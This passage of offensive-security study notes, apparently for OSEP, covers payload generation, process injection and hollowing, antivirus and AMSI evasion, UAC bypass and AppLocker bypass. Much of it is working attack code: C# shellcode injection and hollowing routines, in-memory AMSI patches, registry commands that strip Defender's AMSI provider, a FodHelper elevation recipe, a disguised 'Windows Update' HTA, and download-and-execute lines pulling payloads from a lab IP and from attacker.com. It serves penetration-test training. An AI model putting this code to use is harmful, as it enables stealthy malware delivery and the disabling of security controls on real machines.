Generate Jscript payload with SharpShooter:
sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test
Parameters explained:
--payload js: Jscript output format--dotnetver 4: .NET 4.0 framework--stageless: Entire Jscript payload transferred at once (vs HTML smuggling staged approach)--rawscfile: Shellcode file location--output: Output filename (no extension added)
The generated test.js file can be delivered via email or phishing link. Double-clicking executes in-memory Meterpreter shell.
4.3 In-memory PowerShell Revisited
Theory
Separate compilation and execution phases: compile C# assembly to DLL offline, then load pre-compiled assembly directly into memory via PowerShell without touching disk. This avoids Add-Type complexity while maintaining in-memory execution.
4.3.1 Reflective Load
Create Class Library (.NET Framework) project in Visual Studio. This generates a managed DLL when compiled.
Download DLL and load directly into PowerShell:
(New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/ClassLibrary1.dll','C:\Users\Offsec\ClassLibrary1.dll')
$assem = [System.Reflection.Assembly]::LoadFile("C:\Users\Offsec\ClassLibrary1.dll")
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
Why this approach: LoadFile loads precompiled DLL directly. GetType/GetMethod enable reflection-based invocation. Avoids disk-to-memory compilation overhead of Add-Type. Works in both PowerShell and native C# with Reflection namespace.
Chapter 5: Process Injection and Migration
Overview
Process injection extends shell longevity by executing code in processes that won't terminate (explorer.exe) or that generate legitimate network traffic (svchost.exe). Migration techniques include DLL injection, reflective DLL injection, and process hollowing. Each trades off complexity for stealth and persistence.
5.1 Finding a Home for Our Shellcode
Theory
Instead of executing shellcode in the current process (which terminates when closed), inject into long-running processes:
- explorer.exe: User desktop host, won't terminate during session
- notepad.exe: Hidden process, less suspicious
- svchost.exe: System service, generates network traffic legitimately
Process injection requires:
- Opening handle to target process (OpenProcess)
- Allocating memory in remote process (VirtualAllocEx)
- Writing shellcode to remote memory (WriteProcessMemory)
- Executing shellcode via remote thread (CreateRemoteThread)
Security Considerations
Process access depends on Security Descriptors and Integrity Levels:
- PROCESS_ALL_ACCESS (0x001F0FFF) grants full access but blocked by integrity level restrictions
- Medium Integrity (standard user): Can access explorer.exe (also Medium)
- High Integrity (admin): Can access any Medium or lower process
- Cannot inject upward (lower to higher integrity level)
5.2 Process Injection in C#
Theory
Use P/Invoke to call Win32 process injection APIs from C#. This provides equivalent functionality to PowerShell without detection overhead.
Basic Pattern
Import required Win32 APIs:
using System;
using System.Runtime.InteropServices;
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
Complete injection code:
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
byte[] buf = new byte[591] { 0xfc,0x48,0x83,0xe4,0xf0,0xf8... };
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Explanation:
- OpenProcess (0x001F0FFF = PROCESS_ALL_ACCESS, 4804 = explorer.exe PID): Opens handle to explorer
- VirtualAllocEx: Allocates RWX memory in remote process
- WriteProcessMemory: Copies shellcode to remote memory
- CreateRemoteThread: Executes shellcode at allocated address in remote process
Note: The process ID (4804) changes each login. Use Process.GetProcessesByName("explorer") to resolve dynamically.
5.3 Reflective DLL Injection
5.3.1 Reflective DLL Injection Theory
Traditional DLL Injection Limitation: Must write DLL to disk first (e.g., met.dll), then call LoadLibrary to load it. This leaves forensic evidence.
Reflective DLL Injection: Parses PE (Portable Executable) file format in memory without calling LoadLibrary. This avoids disk writes and keeps DLL invisible to Process Explorer's DLL listing.
Advantages:
- No disk artifacts
- Invisible to tools checking loaded modules via GetProcAddress
- DLL not visible in Process Explorer's DLL view
5.3.2 Reflective DLL Injection in PowerShell
Use Invoke-ReflectivePEInjection script (Joeâs Bialek and Matt Graeber):
Download DLL in memory and inject:
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll')
$procid = (Get-Process -Name explorer).Id
Import-Module C:\Tools\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
This loads DLL entirely in memory through reflection without writing to disk. The met.dll won't appear in Process Explorer's DLL listing.
5.4 Process Hollowing
5.4.1 Process Hollowing Theory
Problem with Previous Techniques: All inject into explorer.exe, which is common. Detection systems may monitor suspicious explorer.exe threads.
Process Hollowing: Create new suspended process (svchost.exe), replace its code with shellcode before execution resumes. This:
- Uses legitimate process name
- Executes before security monitoring engages
- Masks presence in process name monitoring
Implementation Steps:
- CREATE_SUSPENDED flag (0x4): Launch process in suspended state
- ZwQueryInformationProcess: Fetch Process Environment Block (PEB) address
- ReadProcessMemory: Read PE header from suspended process
- Calculate EntryPoint: Parse PE header offset (0x3C) to locate EntryPoint RVA at PE header + 0x28
- Calculate absolute EntryPoint address: EntryPoint = ImageBase + EntryPointRVA
- WriteProcessMemory: Overwrite original code with shellcode
- ResumeThread: Resume suspended thread to execute shellcode
PE Header Parsing:
Offset 0x3C: e_lfanew (4 bytes) = offset from PE start to PE header
PE header at (e_lfanew offset) contains:
Offset 0x28: AddressOfEntryPoint (RVA - relative virtual address)
Calculation Example:
- PEB base address: 0x3004000
- Read first 0x200 bytes: e_lfanew at offset 0x3C = 0x0100
- PE header at 0x3004000 + 0x0100 = 0x3004100
- EntryPoint RVA at 0x3004100 + 0x28 = 0x01000138
- Absolute EntryPoint = 0x3004000 + 0x01000138 = 0x4004138
5.4.2 Process Hollowing in C#
Create suspended svchost.exe process:
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, IntPtr dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
Parameter 0x4 = CREATE_SUSPENDED: Process starts but thread halted before execution.
Fetch PEB and parse PE header:
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInfoClass, ref PROCESS_BASIC_INFORMATION procInformation, uint procInformationLength, ref uint returnLength);
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
Read PE header:
[DllImport("kernel32.dll")]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
// Read first 0x200 bytes to get PE header offset
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
// Parse e_lfanew at offset 0x3C to find PE header
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
Overwrite EntryPoint with shellcode:
byte[] buf = new byte[659] { 0xfc,0x48,0x83,0xe4,0xf0... };
WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
ResumeThread(pi.hThread);
Why Hollowing works: Process name is svchost.exe (legitimate). Code replaces original program before thread execution. Detection is minimal because execution begins immediately after resume.
64-bit Limitation: CreateRemoteThread doesn't support 32-bit to 64-bit injection. 32-bit process cannot directly inject 64-bit shellcode. Workaround: Use 32-bit process like Notepad, then inject 64-bit payload through assembly code translation.
Summary: Technique Progression
| Technique | Detection Risk | Memory Only | Stealth | Complexity |
|---|---|---|---|---|
| Jscript Dropper | Medium | No | Low | Low |
| Jscript + C# Runner | Low | Yes | Medium | Medium |
| DotNetToJscript | Low | Yes | Medium | Medium |
| Reflective DLL Injection | Very Low | Yes | High | High |
| Process Hollowing | Very Low | Yes | High | Very High |
Key Takeaway: As techniques progress, detection decreases but complexity increases. Start with appropriate technique for target environment.
OSEP Chapter 6-7: Antivirus Evasion Study Notes
Chapter 6: Introduction to Antivirus Evasion
AV Software Overview
Antivirus software detects malware through multiple mechanisms: signature-based detection (matching known malware patterns), heuristic analysis (examining behavioral indicators), and emulation (running code in sandboxes to detect suspicious activity). Modern AV employs layered defense with kernel-level drivers that monitor system calls and API hooks that intercept potentially dangerous operations.
The detection chain involves signature databases, behavioral analysis engines, and integration with cloud-based threat intelligence. Understanding where AV detection occurs is critical for evasion: file-level scanning at disk access, memory-level scanning during process injection or shellcode execution, and API-level monitoring through IAT (Import Address Table) hooks.
Target Environment Simulation
Target environment analysis involves understanding the specific Windows OS version, installed security software, and network configuration of the target system. AV products behave differently across Windows 7, Windows 10, and Windows 11, with varying levels of integration with Windows Defender and exploit hardening features.
Reconnaissance techniques include checking for running security processes, querying WMI for installed software, examining registry keys for AV configurations, and testing with benign payloads to determine real-time protection capabilities.
Signature Location and Bypass
Signatures are pattern matches stored in AV databases and updated regularly. They target:
- File signatures: PE header markers, known malware hashes, suspicious sections (
.textsection containing shellcode) - Behavioral signatures: API call sequences (VirtualAlloc → memcpy → CreateThread pattern), registry modifications, file system writes
- Content signatures: Keywords in code, suspicious strings, encoding markers
Bypass strategies include: modifying signatures through encoding/encryption, obfuscating suspicious API sequences, fragmenting code patterns across multiple function calls, and using legitimate Windows APIs in novel combinations.
Metasploit Encoders and Encryptors
Metasploit encoders transform shellcode using various algorithms to bypass signature detection while maintaining functionality. Key encoders include:
x86/shikata_ga_nai: Polymorphic encoder using XOR operations with random keys, modifying itself on each encoding iteration to avoid signature matches.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
-e x86/shikata_ga_nai -i 5 -f c -o shellcode.txt
The -i 5 flag applies 5 iterations of encoding, multiplying obfuscation layers. Each iteration generates unique code despite identical payload input.
x86/fnstenv_mov: Uses x86 FPU instructions that are rarely hooked or detected, encoding shellcode through floating-point stack manipulation.
x86/jmp_call_additive: XOR-based encoding with relative address calculations, effective against simple signature patterns.
Encryptors differ from encoders by using symmetric encryption (AES, RC4) with embedded keys, requiring decryption stubs that execute before payload activation. Metasploit's built-in encryptors provide template shells but require custom implementation for production use.
C# Shellcode Runners
C# provides memory management and Windows API access through P/Invoke (Platform Invoke), enabling compact shellcode execution without direct assembly. The pattern involves:
- Allocate memory:
VirtualAlloc()for executable space - Copy shellcode:
Marshal.Copy()to move shellcode into allocated memory - Create thread:
CreateThread()to execute shellcode
// P/Invoke declarations
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
// Allocate and execute
IntPtr shellcodeAddress = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
Marshal.Copy(shellcode, 0, shellcodeAddress, shellcode.Length);
CreateThread(IntPtr.Zero, 0, shellcodeAddress, IntPtr.Zero, 0, out uint threadId);
System.Threading.Thread.Sleep(10000); // Keep process alive
AV Evasion Integration: Encrypt shellcode using AES before embedding, decrypt at runtime using random keys, add junk code between API calls, and use delegates for indirect API invocation to defeat IAT hooks.
Behavior Evasion Techniques
Behavioral detection identifies malware through suspicious activity patterns rather than signatures. Key evasion techniques:
Sleep Timers: Insert delays between suspicious operations to evade emulation-based detection, which typically times out after 5-30 seconds.
System.Threading.Thread.Sleep(5000); // 5 second delay between operations
Non-Emulated API Usage: Call Windows APIs that most sandboxes don't implement fully, such as GetAsyncKeyState(), SetWindowsHookEx(), or hardware enumeration APIs. If these fail to execute properly, code skips malicious logic assuming sandbox environment.
Parent Process Checking: Verify the parent process is a legitimate application (explorer.exe, cmd.exe) rather than common sandbox parents (vmtoolsd.exe, qemu-ga.exe).
Registry Checks: Query for hypervisor keys (HKLM\Software\VMware, HKLM\Software\VirtualBox) or security software registrations to detect sandbox/VM environment.
using (RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\VMware")) {
if (key == null) { /* Continue with malicious payload */ }
}
Geolocation/Time Checks: Verify system time is plausible and geolocation doesn't match known security lab locations before executing payload.
Office VBA Macros and Word Document Stomping
Microsoft Office documents can contain embedded Visual Basic for Applications (VBA) macros that execute with document-open events. The evasion advantage: Office applications are trusted processes, and macro execution appears legitimate to AV systems.
Word Document Creation:
Sub AutoOpen()
' VBA code executes automatically when document opens
Shell "powershell -Command <encoded_command>"
End Sub
Document Stomping: Technique where legitimate document streams (text content) are preserved while macro streams are replaced with malicious code. The file displays benign content when opened, but macros execute silently. Word stores multiple streams (document.xml, vbaProject.bin, etc.); modify only the macro stream while preserving content.
Macro Obfuscation:
Sub AutoOpen()
Dim cmd As String
cmd = "powershell -EncodedCommand " & CreateObject("WScript.Shell").Environment("TEMP")
CreateObject("WScript.Shell").Exec cmd
End Sub
Detection Bypass: Remove metadata that identifies document as macro-enabled, obfuscate macro variable names, split commands across multiple subroutines, and use document properties/fields to store encoded payloads.
PowerShell in VBA
PowerShell integration within VBA leverages PowerShell's scripting capabilities while maintaining the Office application trust model. VBA can:
- Invoke PowerShell: Launch hidden PowerShell process with encoded commands
- Execute Encoded Payloads: PowerShell's
-EncodedCommandaccepts base64-encoded scripts - Leverage PowerShell Features: Script block logging evasion, downgrade attacks, WinRM execution
Sub ExecuteEncoded()
Dim shell As Object
Dim encodedCmd As String
encodedCmd = "SQBFAFgAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOjpVVEY4"
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -WindowStyle Hidden -EncodedCommand " & encodedCmd, 0
End Sub
Encoding Strategy: Base64 encode PowerShell scripts to bypass signature detection of suspicious keywords. PowerShell decodes and executes base64 strings transparently:
# Original command
Get-Process | Select Name
# Encoded (base64)
# UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAUwBBAEkAQQBBAEcARQBBAEkAQQBBAEcARQBBAEkAQQBBAEcAUgBDAEcAOABnAFMAVABBAEcASQBBAEcAQQA=
# Execute
powershell -EncodedCommand <base64>
Multi-Stage Approach: VBA macro launches PowerShell with minimal encoded stub that downloads and executes stage 2 payload from remote server, reducing initial file size and signature footprint.
Chapter 7: Advanced Antivirus Evasion
Intel Architecture and Windows 10
Modern Windows 10 systems use x86-64 (x64) architecture with hardware-assisted virtualization features (VT-x on Intel) that enable hypervisor functionality and exploit mitigations. Key architectural components relevant to evasion:
Address Space Layout Randomization (ASLR): Kernel randomizes memory addresses of loaded modules, requiring ROP (Return-Oriented Programming) gadgets or information leaks to compute target addresses for shellcode.
Data Execution Prevention (DEP): Memory marked as non-executable prevents shellcode in data sections (heap, stack) from executing. Shellcode must live in executable regions (.text) or use ROP chains.
Control Flow Guard (CFG): Validates indirect function calls against allowed target list, preventing jumping to arbitrary addresses. Requires finding CFG-compatible gadgets or disabling CFG per-process.
Kernel Patch Protection (KPP): Windows kernel memory pages are write-protected, preventing direct kernel modification. Requires hypervisor-based attacks or exploitation of privileged drivers.
Secure Boot and Measured Boot: Firmware verifies bootloader signature and measures boot chain, detecting rootkit attempts at firmware level.
WinDbg and Kernel Debugging
WinDbg (Windows Debugger) is the native kernel debugger enabling step-through execution, memory inspection, and breakpoint-based analysis at kernel level. Attackers use WinDbg for:
- Reverse Engineering Kernel Code: Analyze kernel functions, driver behavior, and security features
- Exploit Development: Test shellcode, ROP chains, and kernel exploits in controlled environment
- Vulnerability Analysis: Inspect memory layouts, identify information leaks, test privilege escalation
WinDbg Commands:
kd> !process 0 0 // List all processes
kd> !process <PID> // Inspect specific process
kd> dt ntdll!_PEB <addr> // Dump PEB structure
kd> u <addr> // Disassemble at address
kd> bp <addr> // Set breakpoint
kd> bl // List breakpoints
kd> g // Continue execution
kd> dd <addr> <size> // Dump dword values
kd> !pte <addr> // Inspect page table entry
Defensive Implications: Detect kernel debugger attachment by querying BeingDebugged flag in PEB, checking debug registers (DR0-DR7), or verifying kernel mode code hasn't been modified.
AMSI: Understanding and Architecture
The Antimalware Scan Interface (AMSI) is a Windows security feature providing real-time content scanning for scripts, documents, and other potentially dangerous content before execution. AMSI operates at multiple levels:
User Mode: PowerShell, VBScript, JavaScript, and Office macros call AmsiScanBuffer API to request content scanning before execution.
Kernel Mode: Windows kernel provides AMSI dispatch table directing scan requests to registered AV providers.
Provider Level: Third-party AV software implements AmsiScanString/AmsiScanBuffer handlers to inspect content and return detection results.
AMSI scanning flow:
- Script/content engine calls
AmsiScanBuffer(session, buffer, length, ...) - Kernel dispatches to registered provider (Defender, third-party AV)
- Provider analyzes content and returns
AMSI_RESULT_CLEAN,AMSI_RESULT_DETECTED, orAMSI_RESULT_NOT_EVALUATED - Script engine proceeds or blocks based on result
// AMSI API signature
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISTREAM amsiStream,
PAMSI_RESULT result
);
AMSI Hooking with Frida
Frida is a dynamic instrumentation framework enabling runtime code modification without recompilation. AMSI hooking with Frida intercepts AmsiScanBuffer calls and modifies return values to always report "CLEAN" status.
Frida Hook Implementation:
// Frida script to bypass AMSI
const amsiModule = Process.getModuleByName("amsi.dll");
const AmsiScanBufferAddr = amsiModule.base.add(0x1000); // Simplified address
Interceptor.attach(AmsiScanBufferAddr, {
onEnter: function(args) {
console.log("AmsiScanBuffer called");
console.log("Buffer: " + args[1]);
console.log("Length: " + args[2]);
},
onLeave: function(retval) {
console.log("Returning: 0 (CLEAN)");
retval.replace(0); // Return AMSI_RESULT_CLEAN
}
});
Deployment: Frida runs as agent process injecting hooks into target process (PowerShell, Office, etc.), intercepting AMSI calls before they reach detection providers.
AMSI Bypass: PowerShell Reflection
PowerShell reflection enables modifying AmsiScanBuffer behavior from within PowerShell scripts without external tools. The technique patches the AmsiScanBuffer function's first bytes to return immediately with CLEAN status.
Reflection-Based Bypass:
$amsiAsm = @"
public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
public static extern IntPtr LoadLibrary(string name);
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumberOfBytesWritten);
"@
Add-Type -MemberDefinition $amsiAsm -Name Win32 -Namespace AmsiBypass
# Get amsi.dll base and AmsiScanBuffer function
$amsiLib = [AmsiBypass.Win32]::LoadLibrary("amsi.dll")
$amsiFunc = [AmsiBypass.Win32]::GetProcAddress($amsiLib, "AmsiScanBuffer")
# Change memory protection to RWX
$oldProtect = 0
[AmsiBypass.Win32]::VirtualProtect($amsiFunc, 5, 0x40, [ref]$oldProtect)
# Overwrite first 5 bytes with "ret" instruction (C3) and NOPs
$patch = [byte[]]@(0xC3, 0x90, 0x90, 0x90, 0x90)
$buf = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(5)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $buf, 5)
[AmsiBypass.Win32]::WriteProcessMemory([System.Diagnostics.Process]::GetCurrentProcess().Handle, $amsiFunc, $buf, 5, [ref]$null)
# Restore protection
[AmsiBypass.Win32]::VirtualProtect($amsiFunc, 5, $oldProtect, [ref]$oldProtect)
Why It Works: The patch modifies AmsiScanBuffer's first instruction to immediate return, bypassing all signature checks. Detection is difficult because the modification occurs in memory, not on disk.
AMSI Bypass: Assembly Patching
Lower-level AMSI bypass through direct assembly manipulation. Rather than using PowerShell reflection, assembly-level techniques directly modify AMSI.dll in memory.
Assembly Patch Techniques:
- Function Prologue Modification: Replace first instruction with "ret" (0xC3) to return immediately
- Conditional Jump Inversion: Modify conditional jumps to skip detection logic
- Return Value Modification: Patch return value assignments to always set CLEAN status
// C# assembly patching example
IntPtr amsiLib = LoadLibrary("amsi.dll");
IntPtr amsiFunc = GetProcAddress(amsiLib, "AmsiScanBuffer");
// Patch: change first byte to 0xC3 (ret instruction)
byte[] patch = new byte[] { 0xC3, 0x90, 0x90, 0x90, 0x90 };
VirtualProtect(amsiFunc, 5, 0x40, out uint oldProtect); // RWX
Marshal.Copy(patch, 0, amsiFunc, patch.Length);
VirtualProtect(amsiFunc, 5, oldProtect, out _); // Restore
AMSI Wrecking and Registry Modification
"Wrecking" AMSI involves disabling AMSI providers through registry modification or API hooks that prevent them from loading. Windows stores AMSI provider paths in registry:
HKLM\SOFTWARE\Microsoft\AMSI\Providers
Disable via Registry:
# Remove Windows Defender AMSI provider registration
Remove-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Force
# Query remaining providers
Get-Item "HKLM:\SOFTWARE\Microsoft\AMSI\Providers"
Effect: AMSI dispatch stops registering removed providers, reducing detection capability. However, Windows Defender typically re-registers automatically on next boot or security update.
Advanced Registry Bypass:
# Modify AMSI provider DLL path to invalid location
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{GUID}" `
-Name "DLL" `
-Value "C:\Windows\System32\nonexistent.dll"
UAC Bypass: FodHelper vs Microsoft Defender
User Account Control (UAC) restricts privileged operations, requiring admin consent or elevation. UAC bypass techniques execute code with elevated privileges, bypassing consent dialogs.
FodHelper Bypass Technique:
FodHelper (Features on Demand Helper) is a Windows system utility that executes with high integrity automatically. It reads execution path from registry without UAC prompt:
# Create registry key for code execution path
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "(Default)" `
-Value "powershell -Command <payload>"
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "DelegateExecute" `
-Value "" # Required empty value
# Trigger FodHelper execution (bypasses UAC)
Start-Process "C:\Windows\System32\fodhelper.exe"
Why It Works: FodHelper uses LaunchUriHandler Windows API which reads the registered URI handler (ms-settings) from HKCU registry. The HKCU registry is user-writable without elevation. FodHelper runs with high integrity and executes the registered command, resulting in elevated code execution.
Microsoft Defender Interaction: Modern Defender versions detect and block FodHelper UAC bypass by monitoring registry modifications for known bypass patterns. Detection occurs on:
- Registry key creation in
HKCU\Software\Classes\ - Modification of
Shell\Open\commandpaths - Launch of FodHelper with registry-sourced command execution
Alternative UAC Bypasses:
- DLL Hijacking: Place malicious DLL in system directory alongside legitimate .exe that requires elevation
- COM Interface Elevation: Invoke COM objects with elevated privileges (e.g., UACMe techniques)
- Token Impersonation: Use legitimate tools (e.g., PsExec) with stolen admin tokens
AMSI Bypass: JScript and WScript Execution
JScript (Microsoft's implementation of JavaScript) can be executed through Windows Script Host (WSH) or embedded in HTML Applications (.hta). JScript bypasses PowerShell's script block logging and can implement AMSI evasion independently.
JScript AMSI Bypass via WScript:
// JScript code (save as .js file)
var amsiModule = GetObject("winmgmts:").ExecMethod(".").GetObject('winmgmts:').GetObject("winmgmts:").GetObject("winmgmts:");
// Alternative: Invoke command through cmd.exe
var shell = new ActiveXObject("WScript.Shell");
var cmd = "powershell -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')";
shell.Exec(cmd);
HTA Execution (HTML Application):
<!-- Save as payload.hta -->
<html>
<head>
<title>Windows Update</title>
<script language="VBScript">
Sub AutoOpen()
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -EncodedCommand <base64>", 0
End Sub
</script>
</head>
<body onload="AutoOpen()">
<h1>Updating...</h1>
</body>
</html>
Evasion Benefits:
- JScript executes without PowerShell logging (Event ID 4104)
- HTA files run with elevated integrity if launched from trusted location
- WScript.Shell COM object provides full system access
- AMSI typically doesn't scan JScript content with same rigor as PowerShell
Detection Evasion: Obfuscate JavaScript variable names, split command execution across multiple functions, use COM object indirection to avoid direct API calls, and chain multiple script execution methods.
Summary: Layered Evasion Strategy
Effective AV evasion combines multiple techniques:
- Encoding/Encryption: Metasploit encoders or custom encryption of shellcode/commands
- Signature Avoidance: Fragmenting suspicious API patterns, using legitimate APIs in novel ways
- Behavioral Obfuscation: Sleep timers, VM/sandbox detection, parent process checking
- Delivery Mechanisms: Office macros, VBA, HTA, JScript for trusted execution contexts
- Runtime Bypass: AMSI patching (reflection, assembly), UAC bypass (FodHelper, COM), privilege escalation
- Multi-Stage Approach: Minimal first-stage payload that downloads and executes second-stage, reducing initial detection surface
Success requires understanding both the target environment (OS, installed AV, security policies) and the specific detection mechanisms employed by the deployed AV solution.
Chapter 8: Application Whitelisting
Theory and Concepts
Application whitelisting is a security control that restricts execution to only approved applications. AppLocker is Windows' built-in application whitelisting mechanism that uses rules to define which applications, DLLs, scripts, and installers can run. It operates at the kernel level and can enforce policies based on file path, file hash, or publisher certificate signatures. AppLocker is more flexible and granular than Software Restriction Policies (SRP), allowing rules based on file attributes rather than just path restrictions.
AppLocker Setup and Rules
AppLocker rules define what can execute. Rule types include:
- Executable rules: Control .exe and .com files
- Windows Installer rules: Control .msi and .msp files
- Script rules: Control .ps1, .bat, .cmd, .vbs, .js files
- DLL rules: Control library loading
Each rule type can use three criteria:
- Path rules: Based on file location (least secure, easily bypassed)
- Hash rules: Based on file SHA256 hash (secure but requires updating for each version)
- Publisher rules: Based on Authenticode signature (most flexible and maintainable)
Default AppLocker rules in Windows typically allow:
- System32 and Program Files execution
- Windows-signed binaries
- User write-accessible locations often excluded from rules
Basic Bypasses
Trusted Folders
Many AppLocker configurations exclude certain directories. Common bypasses:
- User writable directories in trusted paths (e.g., C:\Program Files\Common Files)
- C:\Windows\Temp and C:\Windows\Tasks (often whitelisted)
- Copying malicious executables to trusted locations
DLL Abuse
DLL rules are often not fully enforced. Techniques:
- Loading unsigned DLLs from user-writable paths
- DLL search order hijacking (DLL placed in same directory as trusted executable)
- COM object instantiation loading unprotected DLLs
Alternate Data Streams (ADS)
NTFS Alternate Data Streams can hide content:
type C:\malware.exe > C:\legit.exe:hidden.exe
Executing hidden streams (though direct execution is difficult in modern Windows):
- File properties and explorer show main stream only
- AppLocker may only validate main stream
- Requires specific execution methods (live off land binaries)
Third-Party Execution
Trusted third-party applications may allow code execution:
- Applications with insecure deserialization
- Applications that load plugins from writable paths
- Applications with script execution capabilities
- Adobe Reader, Java, .NET runtime may have bypass vectors
Bypassing AppLocker with PowerShell
Constrained Language Mode (CLM)
PowerShell CLM restricts available language features to prevent malicious script execution:
- No direct script invocation
- Limited cmdlet access
- No .NET object instantiation
- No variable expansion in strings with expressions
- No script blocks or function definitions
Why CLM matters: It blocks many direct PowerShell exploitation techniques but can still be bypassed through managed .NET code execution.
Custom Runspaces
Creating custom PowerShell runspaces can bypass CLM restrictions:
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
public class PowerShellExecutor {
public static void Execute(string command) {
RunspaceConfiguration rsc = RunspaceConfiguration.Create();
Runspace rs = RunspaceFactory.CreateRunspace(rsc);
rs.Open();
Pipeline pipeline = rs.CreatePipeline();
pipeline.Commands.AddScript(command);
